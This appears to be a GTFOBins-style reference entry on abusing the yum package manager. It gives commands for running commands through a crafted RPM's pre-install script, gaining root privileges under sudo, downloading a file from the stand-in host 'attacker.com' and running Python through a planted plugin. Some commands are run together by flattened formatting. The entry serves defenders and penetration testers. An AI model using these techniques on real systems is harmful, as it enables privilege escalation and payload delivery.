yum

Command

This executable can run non-interactive system commands.

Comment
Generate the RPM package with fpm and upload it to the target.
```
echo /path/to/command >x.shfpm -n x -s dir -t rpm -a all --before-install .x.sh .
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
yum localinstall -y x-1.0-1.noarch.rpm
```

Download

This executable can download remote data.

CommentThe file on the remote host must have the .rpm extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp/yum-root-xxxxxx/.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
yum install http://attacker.com/path/to/input-file.rpm
```
SenderAn HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```

Inherit

This executable can inherit functions from another.

CommentThis allows to run Python code (...).

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

cat >/path/to/temp-dir/x<<EOF[main]plugins=1pluginpath=/path/to/temp-dir/pluginconfpath=/path/to/temp-dir/EOFcat >/path/to/temp-dir/y.conf<<EOF[main]enabled=1EOFcat >/path/to/temp-dir/y.py<<EOFimport yumfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVErequires_api_version='2.1'def init_hook(conduit):  ...EOFyum -c /path/to/temp-dir/x --enableplugin=y

Functions

Inherits from python, thus possibly granting its functions.